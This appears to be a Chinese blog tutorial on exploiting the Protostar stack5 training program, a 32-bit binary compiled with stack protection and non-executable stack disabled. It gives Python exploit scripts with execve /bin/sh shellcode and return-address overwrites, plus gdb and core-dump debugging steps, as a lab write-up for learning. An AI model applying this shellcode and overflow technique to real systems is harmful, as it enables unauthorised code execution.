Ret2shellcode利用

0x000 环境和工具

Linux:

Linux 5.3.0-28-generic #30~18.04.1-Ubuntu SMP Fri Jan 17 06:14:09 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

工具:

apt-get install gdb gcc python

0x100 源代码

代码来自 protostar stack5:

#include <stdlib.h>

#include <unistd.h>

#include <stdio.h>

#include <string.h>

int main(int argc, char **argv)

{

  char buffer[64];

  gets(buffer);

}

0x200 编译并反汇编

编译命令:

#gcc -g -O0 -o vul2 -fno-stack-protector -zexecstack ./stack5.c -z norelro -m32

检查安全编译选项打开情况:

#checksec ./vul2

gdb -q ./vul2

(gdb) disassemble main

代码执行时栈空间变化及含义解析

 

实际的内存布局如下所示

从上图可以看出:

  1. 局部变量buffer的起始地址为0xffffd040,随后为保存的寄存器值。只需要将buffer和保存的寄存器值填充满就可以覆盖到返回地址。
  2. 由于Function Epilogue是通过0x56555535 <main+56>    lea    esp,[ecx-0x4]来获取返回地址的位置,并非leave指令,故ecx的值必须要比返回地址所在的位置多四个字节。在上述图示中ecx=0xffffd0a0

0x300第一次尝试

从0xffffd040位置开始注入shellcode(这是错误的注入方式)

#exploit.py

import struct

import sys

shellcode="\xeb\x07\x5b\x31\xc0\xb0\x0b\xcd\x80\xe8\xf4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"

padding="A"*43

ecx = struct.pack("I",0xffffd090)

ebx =  struct.pack("I",0x00000000)

ebp = struct.pack("I",0x00000000)

payload = struct.pack("I",0xffffd040)

print shellcode+padding+ecx+ebx+ebp+payload

#python ./exploit.py > /tmp/1

执行利用代码,发现会core

 通过gdb调试发现,返回地址已经被0xffffd040正确覆盖了,但当执行到shellcode位置时会死循环。

分析思路一:首先怀疑利用代码是否有问题,通过hexedit查看如下:

# hexedit /tmp/1

发现使用print命令生成利用代码时,会在结尾处增加一个字节。是否时这个问题导致的?

先删除掉OA看看

# vim -b /tmp/1

在vim中执行xxd命令转换成16进制

:%!xxd

删除掉OA

通过:%!xxd -r 转回二进制格式

再次执行利用代码,但还是会出现Core,无法弹出shell。

分析思路二:怀疑是不是shellcode有问题,即从http://shell-storm.org/shellcode/复制的shellcode是否无法在当前环境上执行,于是又换了多个shellcode尝试,都失败。为了确定所执行的shellcode是否正确,执行了如下比对:

  1. 从网站上拷贝汇编代码,将其保存为.asm文件,而非直接使用其二进制shellcode;
  2. 若汇编代码为intel格式,则使用nasm -o shell.o shell.asm -felf32将其编译为二进制目标代码;
  3. objcopy -O binary shell.o code提取目标文件中的可执行代码;
  4. xxd -i code 输出头文件格式的二进制shellcode
  5. Vim去除其格式后比较发现shellcode是一致的
  6. 通过下面方式执行shellcode能正常反弹shell

结论:shellcode本身没有问题,排除此疑点。

分析思路三:对比网上其它栈溢出利用代码的注入方式,发现shellcode应该放在返回地址后,而不应该放在溢出点,因为在溢出的函数返回后,溢出点的栈空间已经无效了,shellcode注入到此空间中在执行时会出现非法访问或导致程序进入死循环。

0x400第二次尝试

#exploit2.py

import struct

import sys

padding="A"*64

ecx = struct.pack("I",0xffffd090)

ebx =  struct.pack("I",0x00000000)

ebp = struct.pack("I",0x00000000)

payload = struct.pack("I",0xffffd090)

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"                  

sys.stdout.write(padding+ecx+ebx+ebp+payload+shellcode)

#python ./exploit2.py > /tmp/2

# ./vul2 < /tmp/2

Segmentation fault

发现还是core掉了,

由于程序直接执行时的环境变量与调试时有差异,会导致栈空间地址变化,注入利用代码后会出现core。此时需要通过调试Core Dump文件来确定准确的位置。若没有core文件,需要进行如下操作:

1.用ulimit -c命令确定是否允许产生core文件,若为0,则不生成core文件,需要通过ulimit -c unlimited将其设置为允许产生core文件,该设置仅在当前会话中生效,若要长期有效,需要保存在配置文件中:打开文件/etc/profile  然后在最末尾添加一行 ulimit -c unlimited ,然后保存退出,使用命令 source /etc/profile  使其生效。

2.在/etc/sysctl.conf文件中通过设置如下两项指定core文件路径和名称

kernel.core_pattern=/var/core/%t-%e-%p-%c.core

kernel.core_uses_pid = 0

# gdb -c /var/core/1597226879-vul2-28491-18446744073709551615.core ./vul2

通过如下命令查看当前栈所存值的情况

从中可以判断直接执行vul2程序时,其buffer的起始地址为0xffffd080,返回地址位于0xffffd0cc,shellcode的起始地址为0ffffd0d0,故上述利用代码分别将

ecx = struct.pack("I",0xffffd090)

修改为

ecx = struct.pack("I",0xffffd0d0)

ebx =  struct.pack("I",0x00000000)

ebp = struct.pack("I",0x00000000)

payload = struct.pack("I",0xffffd0d0)

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"                  

sys.stdout.write(padding+ecx+ebx+ebp+payload+shellcode)

重新执行,没有产生错误,但也没有弹出shell

原因分析:

虽然shell开出来了,但由于vul2执行完整个命令就结束了,故需要通过如下方式保持命令的存在:

命令解释:

第一个cat将/tmp/2中的利用代码通过管道注入到vul2中将shell开出来

第二个cat等待用户的输入,并把输入通过管道传递到第一个cat所开shell中,并将其结果显示出来;

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值